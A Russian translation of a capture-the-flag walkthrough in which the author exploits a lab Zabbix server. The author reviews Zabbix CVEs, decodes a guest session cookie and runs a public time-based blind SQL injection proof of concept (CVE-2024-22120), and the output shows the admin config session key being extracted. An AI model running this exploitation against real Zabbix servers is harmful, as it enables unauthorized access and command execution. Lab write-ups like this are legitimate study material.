Так как у меня нет учетных данных, я воспользуюсь опцией «войти как гость»: Zabbix — открытое программное обеспечение для мониторинга систем. После успешной авторизации нам доступна версия программы: HTTP-заголовки содержат стандартную для Zabbix куку — zbx_session: Страница с ошибкой 404 — всё ещё стандартная страница Apache 404: Я пропущу этап перебора директорий, так как речь идет о хорошо известном ПО. Shell от имени пользователя zabbix (CVE-2024-42327) В используемой версии Zabbix есть уязвимость CVE-2024-42327, а также CVE-2024-22116: CVE-2024-22116 — удаленное выполнение команд (RCE), однако только с правами администратора. CVE-2024-42327 — SQL инъекция, позволяющая похищать API токен администратора, что ведет к выполнению произвольных команд (RCE). Однако эта атака сработает только тогда, когда пользователь получает API токен, чего не происходит при гостевом доступе. Дополнительное исследование показало наличие CVE-2024-22120 — еще одна SQL инъекция в журнале аудита: Сервер Zabbix способен запускать сконфигурированные скрипты. После выполнения команды запись добавляется в журнал аудита ("Audit Log"). Из-за отсутствия очистки поля "clientip" возможна SQL инъекция и эксплуатация time based blind SQL инъекции. Эта уязвимость имеет потенциал для эксплуатации. Заявка на баг-трекере Zabbix утверждает, что данная п��облема позволяет получить RCE, там же есть шаги по эксплуатации. Proof-of-concept Первым делом убедимся, что мы имеем доступ хотя бы к одному узлу. В разделе Monitoring –> Hosts видим одну запись: Необходимо иметь возможность выполнять команды. «Ping» работает (и показывает, что это тот же хост, на котором запущен Zabbix): Необходимо извлечь значение «sessionid» из куки zbx_session. Оно закодировано в Base64: oxdf@hacky$ echo eyJzZXNzaW9uaWQiOiI1MmU5NjcyZDM3NTM2YTM3MDBmNDcwY2Q4NmUxNmM1NiIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk1NzQ1MzksInNpZ24iOiIwOTJjZDc2ODJiNDIyNWM2MTEwZTIyZDRlYjE0NWFkZDgyNTc4Mzk3MTM4MDE3ZWE5ZWU2NjRkZjg3Y2I4OTllIn0= | base64 -d {"sessionid":"52e9672d37536a3700f470cd86e16c56","serverCheckResult":true,"serverCheckTime":1759574539,"sign":"092cd7682b4225c6110e22d4eb145add82578397138017ea9ee664df87cb899e"} Теперь, мне нужен валидный hostid, который я могу получить, посмотрев запросы в Burp, пока нахожусь на странице Monitoring –> Hosts (поскольку сайт постоянно отправляет запросы на обновление): Я воспользуюсь uv для добавления необходимых метаданных (см. шпаргалку по uv https://0xdf.gitlab.io/cheatsheets/uv# ): oxdf@hacky$ uv add —script zabbix_server_time_based_blind_ sqli.py pwntools Updated zabbix_server_time_based_blind_ sqli.py Скрипт продемонстрирует идентификатор сессии администратора, состоящий из одних нулей, но если я буду наблюдать за этим в Wireshark, то увижу следующее: Используется scriptid равный 3, однако этот пользователь не имеет прав на выполнение данного скрипта. Если посмотреть на запрос, отправляемый при клике на хост для отображения этого меню, мы увидим следующее: Доступны только идентификаторы 1 и 2. Если обновить PoC, используя любой из них, то он сработает: oxdf@hacky$ uv run —script zabbix_server_time_based_blind_ sqli.py —ip zabbix.watcher.vl —sid 52e9672d37536a3700f470cd86e16c56 —hostid 10084 | grep "(+)" (+) Extracting Zabbix config session key… (+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=2[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=3[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=4[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=5[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=6[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=7[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=8[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=a[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051 (+) session_key=b (+) trying c=0[x] Opening connection to zabbix.watcher.vl on port 10051 (+) trying c=1[x] Opening connection to zabbix.watcher.vl on port 10051 …[snip]… (+) trying c=9[x] Opening connection to zabbix.watcher.vl on port 10051 (+) session_key=b9 (+) trying c=b[x] Opening connection to zabbix.watcher.vl on port 10051 (+) session_key=b9857bc76e26cf108766043dbf43544b Source: https://habr.com/ru/articles/960090/